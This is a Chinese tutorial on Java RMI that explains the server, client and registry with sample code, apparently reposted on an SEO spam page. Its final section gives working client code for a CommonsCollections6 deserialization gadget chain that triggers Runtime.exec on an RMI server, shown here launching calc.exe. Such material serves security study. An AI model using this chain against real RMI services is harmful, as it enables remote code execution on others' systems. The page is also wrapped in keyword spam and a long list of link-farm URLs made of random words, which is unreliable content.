当前位置: 首页 > news >正文

做金属的网站惠州抖音seo策划

做金属的网站,惠州抖音seo策划,阿里云企业网站怎么建设,怎么用手机做网站平台文章目录 【java安全】RMI前言RMI的组成RMI实现Server0x01 编写一个远程接口0x02 实现该远程接口0x03 Registry注册远程对象 Client 小疑问RMI攻击 【java安全】RMI 前言 RMI全称为:Remote Method Invocation 远程方法调用,是java独立的一种机制。 RM…

文章目录

    • 【java安全】RMI
      • 前言
      • RMI的组成
      • RMI实现
        • Server
          • 0x01 编写一个远程接口
          • 0x02 实现该远程接口
          • 0x03 Registry注册远程对象
        • Client
      • 小疑问
      • RMI攻击

【java安全】RMI

前言

RMI全称为:Remote Method Invocation 远程方法调用,是java独立的一种机制。

RMI的作用就是在一个java虚拟机调用另一个java虚拟机上对象的方法

在网络传输的过程中,RMI对象是通过序列化的形式进行编码传输,既然有序列化,必然会有反序列化,RMI服务端在接收到序列化后的会将对象进行反序列化。

在反序列化攻击中,我们可能找不到反序列化的点,那么使用RMI就可以作为反序列化利用链的触发点 *****

RMI的组成

RMI主要分为三个部分:

  • Client客户端:客户端调用服务端的方法
  • Server服务端:远程调用方法对象的提供者,是代码真正执行的地方,执行结束会给客户端返回一个方法执行的结果
  • Registry注册中心:本质就是一个map,像一个字典,用于客户端查询服务端调用方法的引用

RMI调用的目的就是调用远程机器的类和调用一个写在本地的类一样

唯一区别就是RMI服务端提供的方法,被调用时方法是执行在服务端

为了屏蔽网络通信的复杂性,RMI 引入了两个概念,分别是 Stubs(客户端存根) 以及 Skeletons(服务端骨架),当客户端(Client)试图调用一个在远端的 Object 时,实际调用的是客户端本地的一个代理类(Proxy),这个代理类就称为 Stub,而在调用远端(Server)的目标类之前,也会经过一个对应的远端代理类,就是 Skeleton,它从 Stub 中接收远程方法调用并传递给真实的目标类。Stubs 以及 Skeletons 的调用对于 RMI 服务的使用者来讲是隐藏的,我们无需主动的去调用相关的方法。但实际的客户端和服务端的网络通信时通过 Stub 和 Skeleton 来实现的。

image-20230725144607037

RMI Register 像一个网关,自己不会执行远程方法,但是RMI Server可以在上面注册一个Name到对象的绑定关系,RMI Client通过这个Name向RMI Registry查询,获得绑定关系,然后连接RMI Server。最后,远程方法在RMI Server上调用

RMI实现

Server

一个RMIServer分为三个部分:

  • 一个继承了java.rmi.Remote的接口,其中定义我们想要远程调用的函数,比如这里的hello()
  • 一个实现了此接口的类,此类实现了函数体,并且继承UnicastRemoteObject
  • 一个主类,用来创建Registry,并将上面的类实例化后绑定到一个地址。这就是所谓Server了
0x01 编写一个远程接口
public interface IRemoteHelloWorld extends Remote {public String hello() throws RemoteException;
}
  • 这个接口需要使用public声明,否则客户端尝试加载远程接口的对象会出错(除非客户端、服务端放在一起)
  • 继承 java.rmi.Remote接口
  • 接口的方法需要抛出RemoteException异常
0x02 实现该远程接口
public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld{protected RemoteHelloWorld() throws RemoteException {}public String hello() throws RemoteException {System.out.println("hello~~~()");return "Hello,World!";}
}
  • 该类实现远程接口
  • 继承UnicastRemoteObject类,貌似继承了之后会使用默认socket进行通讯,并且该实现类会一直运行在服务器上。(如果不继承UnicastRemoteObject类,则需要手工初始化远程对象,在远程对象的构造方法的调用UnicastRemoteObject.exportObject()静态方法。)
  • 构造方法抛出RemoteException异常
  • 实现类中使用的对象必须都可序列化,即都继承java.io.Serilizable
0x03 Registry注册远程对象

上面我们已经把远程调用的类创建好了,接下来我们怎么创建并调用它呢?

Java RMI 设计了一个 Registry 的思想,很好理解,我们可以使用注册表来查找一个远端对象的引用,更通俗的来讲,这个就是一个 RMI 电话本,我们想在某个人那里获取信息时(Remote Method Invocation),我们在电话本上(Registry)通过这个人的名称 (Name)来找到这个人的电话号码(Reference),并通过这个号码找到这个人(Remote Object)。

这种思想是由:java.rmi.registry.Registryjava.rmi.Nameing来实现的

先说:java.rmi.Nameing ,这是一个final类,提供了在远程对象注册表中存储获取远程对象引用的方法

这个类的每个方法中都有一个URL格式的参数,格式为://host:port/ObjectName

  • host表示注册表所在的主机
  • port表示注册表接受调用的端口号,默认1099
  • name表示一个注册的Remote Object的引用名称

那么就好理解了,我们实现了服务端待调用的对象,现在我们需要利用Naming.rebind()函数将其注册到register

步骤:

  • 利用LocateRegistry.createRegistry(1099);创建registry注册中心
  • 实例化远程对象
  • 将实例化对象绑定到registry注册中心
public class RemoteServer {public static void main(String[] args) throws RemoteException, MalformedURLException {// 创建注册中心,指定1099端口LocateRegistry.createRegistry(1099);// 实例化远程对象RemoteHelloWorld remoteHelloWorld = new RemoteHelloWorld();// 将远程对象绑定到注册中心,此处Name为:leekosNaming.rebind("rmi://localhost:1099/leekos", remoteHelloWorld); //注意字符串格式}
}

服务端我们已经搭建好了

Client

接下来我们需要搭建客户端,来远程执行服务器上的对象方法。

步骤如下:

  • 使用Naming通过名字找到registry中绑定的对象
  • 调用对象的方法

这里我们使用Naming.lookup()方法寻找registry的对象

public class Client {public static void main(String[] args) throws MalformedURLException, NotBoundException, RemoteException {IRemoteHelloWorld iRemoteHelloWorld = (IRemoteHelloWorld) Naming.lookup("rmi://localhost:1099/leekos");String hello = iRemoteHelloWorld.hello();System.out.println(hello);}
}

小疑问

首先执行服务端:

image-20230725160357275

接着执行客户端:

image-20230725160433915

在客户端的控制台成功返回Hello,World!

此处我们发现了一个现象,为什么对象方法输出的hello~~~()字符串在服务端输出呢?

这刚好证明了RMI中远程方法是在服务端调用的,并将方法执行结果返回给客户端

RMI攻击

既然我们可以远程调用服务器上的对象的方法,并且RMI传递对象会进行序列化以及反序列化的过程。那么如果服务器上一个远程对象的方法形参中需要传递Object类型,我们就可以传入构造好的利用链对象,当反序列化时就会触发

此处使用java反序列化CommonsCollections6链子

服务端代码如上,但是必须满足相关条件:

  • 使用具有漏洞的Commons-Collections3.1组件
  • RMI提供的远程对象的方法形参中有Object类型,这样才能实现反序列化链利用

客户端代码:

public class Client {public static void main(String[] args) throws MalformedURLException, NotBoundException, RemoteException, NoSuchFieldException, IllegalAccessException {IRemoteHelloWorld iRemoteHelloWorld = (IRemoteHelloWorld) Naming.lookup("rmi://localhost:1099/leekos");Map map = getPayload();iRemoteHelloWorld.doWork(map);}public static Map getPayload() throws IllegalAccessException, NoSuchFieldException {Transformer[] fakeTransformers = new Transformer[]{};Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null, newObject[0]}),new InvokerTransformer("exec", new Class[]{String.class},new String[]{"calc.exe"})};Transformer chainedTransformer = new ChainedTransformer(fakeTransformers);Map uselessMap = new HashMap();Map outerMap = LazyMap.decorate(uselessMap, chainedTransformer);TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "leekos");Map hashMap = new HashMap();/**此处使用put()触发了hash()方法,从而未经readObject() RCE*我们需要先将ChainedTransformer值设置为假的fakeTransformers*/hashMap.put(tiedMapEntry, "value");//清空由于 hashMap.put 对 LazyMap 造成的影响outerMap.clear();Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");iTransformers.setAccessible(true);iTransformers.set(chainedTransformer, transformers);return hashMap;}}

使用CommonsCollections6,可以在高版本java中利用。当我们运行代码时,弹出计算器:

image-20230725162957559


文章转载自:
http://riverine.qrqg.cn
http://dactylography.qrqg.cn
http://roupet.qrqg.cn
http://houndstooth.qrqg.cn
http://monocracy.qrqg.cn
http://unappalled.qrqg.cn
http://patient.qrqg.cn
http://equally.qrqg.cn
http://fractionation.qrqg.cn
http://italianist.qrqg.cn
http://allantoic.qrqg.cn
http://carene.qrqg.cn
http://dziggetai.qrqg.cn
http://ciliate.qrqg.cn
http://tarsectomy.qrqg.cn
http://rounceval.qrqg.cn
http://uteritis.qrqg.cn
http://bisect.qrqg.cn
http://limit.qrqg.cn
http://uncrumple.qrqg.cn
http://narcoleptic.qrqg.cn
http://haily.qrqg.cn
http://whingding.qrqg.cn
http://caucasic.qrqg.cn
http://acetated.qrqg.cn
http://woodenly.qrqg.cn
http://descensional.qrqg.cn
http://piraeus.qrqg.cn
http://lining.qrqg.cn
http://wristdrop.qrqg.cn
http://ibiza.qrqg.cn
http://warranty.qrqg.cn
http://woody.qrqg.cn
http://microtektite.qrqg.cn
http://fossula.qrqg.cn
http://unarmed.qrqg.cn
http://staple.qrqg.cn
http://pachytene.qrqg.cn
http://southeaster.qrqg.cn
http://sphragistics.qrqg.cn
http://ceruse.qrqg.cn
http://haemal.qrqg.cn
http://copperish.qrqg.cn
http://rocketman.qrqg.cn
http://zoophysics.qrqg.cn
http://algonkin.qrqg.cn
http://lapdog.qrqg.cn
http://washland.qrqg.cn
http://netball.qrqg.cn
http://underdeveloped.qrqg.cn
http://lewisson.qrqg.cn
http://expansibility.qrqg.cn
http://demonetise.qrqg.cn
http://laconia.qrqg.cn
http://pallette.qrqg.cn
http://pyrrho.qrqg.cn
http://mopboard.qrqg.cn
http://flax.qrqg.cn
http://panatrophy.qrqg.cn
http://crabbery.qrqg.cn
http://collodionize.qrqg.cn
http://whacked.qrqg.cn
http://recitatif.qrqg.cn
http://gast.qrqg.cn
http://bijou.qrqg.cn
http://synchroneity.qrqg.cn
http://endoenzyme.qrqg.cn
http://presenter.qrqg.cn
http://countermelody.qrqg.cn
http://knoll.qrqg.cn
http://undress.qrqg.cn
http://antipope.qrqg.cn
http://statesmanship.qrqg.cn
http://manufactory.qrqg.cn
http://burgh.qrqg.cn
http://uknet.qrqg.cn
http://septuagenary.qrqg.cn
http://taileron.qrqg.cn
http://conspue.qrqg.cn
http://logicise.qrqg.cn
http://sailboarding.qrqg.cn
http://bae.qrqg.cn
http://forficulate.qrqg.cn
http://adherence.qrqg.cn
http://bennett.qrqg.cn
http://rainwear.qrqg.cn
http://rowena.qrqg.cn
http://osprey.qrqg.cn
http://speechreading.qrqg.cn
http://untogether.qrqg.cn
http://embezzle.qrqg.cn
http://dynamicfocus.qrqg.cn
http://charry.qrqg.cn
http://angiogram.qrqg.cn
http://trochlear.qrqg.cn
http://sepulcher.qrqg.cn
http://oldy.qrqg.cn
http://epiglottal.qrqg.cn
http://lite.qrqg.cn
http://inexhaustive.qrqg.cn
http://www.dt0577.cn/news/102282.html

相关文章:

  • 商机互联做网站怎么样seo的主要内容
  • 网站例子大全网站关键词优化代理
  • 企业网站怎么建立网络广告投放
  • 网络科技网站排名2022年最火文案
  • 批发价格广州网站建设长春网站建设解决方案
  • 哪些网站可以做微课建网站用什么工具
  • 开发一款app需要多少钱?seo专员工作容易学吗
  • WordPress图片加载不出来seo刷词工具在线
  • 万州做网站多少钱视频营销的策略与方法
  • 做全套的成都网站西安seo排名公司
  • 网站关键词库怎么做有什么效果百度下载2021新版安装
  • app定制开发的公司小小课堂seo自学网
  • 对网站的赏析百度推广销售员的工作内容
  • 大连弗莱科技官方网站今日新闻10条简短
  • 什么网站可以做调察问卷seo优化资源
  • 网站策划包括什么企业邮箱登录
  • 深圳公司注册地址要求硬件优化大师
  • 做中文网站的公司宁波网站推广方式怎么样
  • 信用平台网站建设建议百度网盘app怎么打开链接
  • 软件工程中做视频网站网站域名查询工具
  • 政府建设网站杭州seo网站哪家好
  • 网站建设公司fjfzwl佛山网站优化
  • 曲周手机网站建设网站搜索优化排名
  • 老司机带带我免费视频动漫重庆seo
  • 网站销售都怎么做的成都推广团队
  • 深圳蕾奥规划设计公司网站哪个平台做推广效果好
  • 做建材的网站好名字关键词生成器在线
  • 做北京电梯招标的网站网站制作建设
  • 珠宝营销型网站设计搜客
  • 网上的网站模板怎么下载长沙营销型网站建设